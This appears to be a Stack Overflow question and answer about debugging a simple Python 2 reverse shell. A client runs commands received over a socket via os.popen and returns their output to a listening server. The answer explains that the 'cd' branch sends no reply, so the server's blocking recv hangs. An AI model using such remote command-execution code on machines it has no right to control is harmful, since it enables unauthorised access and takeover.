0

I am making a reverse shell in Python 2. However, I can't get cd (change directory) to work.

Here is my code for the server:

#!/usr/bin/python import socket host = socket.gethostname() port = 1337 s = socket.socket() s.bind((host, port)) s.listen(1) while True: c, addr = s.accept() print "Accepted connection from", addr while True: cmd = raw_input(">>> ") c.send(cmd) print c.recv(1024) s.close() 

And here is my code for the client:

#!/usr/bin/python import socket, os s = socket.socket() host = socket.gethostname() port = 1337 s.connect((host, port)) while True: cmd = s.recv(1024) if cmd[:2] == "cd": os.chdir(str(cmd[3:])) else: o = os.popen(cmd).read() s.send(o) 

What am I doing wrong? Why is changing the directory not working?

EDIT: The command line doesn't return a new >>> prompt.

3
  • What does "not working" mean? Are you getting an exception thrown somewhere? If so, please include the entire error printout including traceback. Commented Jun 12, 2017 at 13:30
  • @Billy The command line doesn't return a new ">>>" prompt. Commented Jun 12, 2017 at 13:34
  • In your client you don't send any response for the 'cd' command and so the server will wait forever for a response in 'recv' Commented Jun 12, 2017 at 13:45

1 Answer 1

2

The problem here is that the server code expects a response for every command however for the cd command the client does not provide any response.

On the server you have:

while True: cmd = raw_input(">>> ") c.send(cmd) # send the command to the client print c.recv(1024) # block and then read (up to) 1024 characters from the client 

However in the client you do:

while True: cmd = s.recv(1024) # block and then read (up to) 1024 characters from the server if cmd[:2] == "cd": os.chdir(str(cmd[3:])) # no response sent for the `cd` case else: o = os.popen(cmd).read() s.send(o) # send a response to the server for all other cases 

One easy solution would be to have the cd case return an OK response which the server discards.

Note that in Python sockets and therefore socket.recv() is a blocking operation by default.

Sign up to request clarification or add additional context in comments.

Comments

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.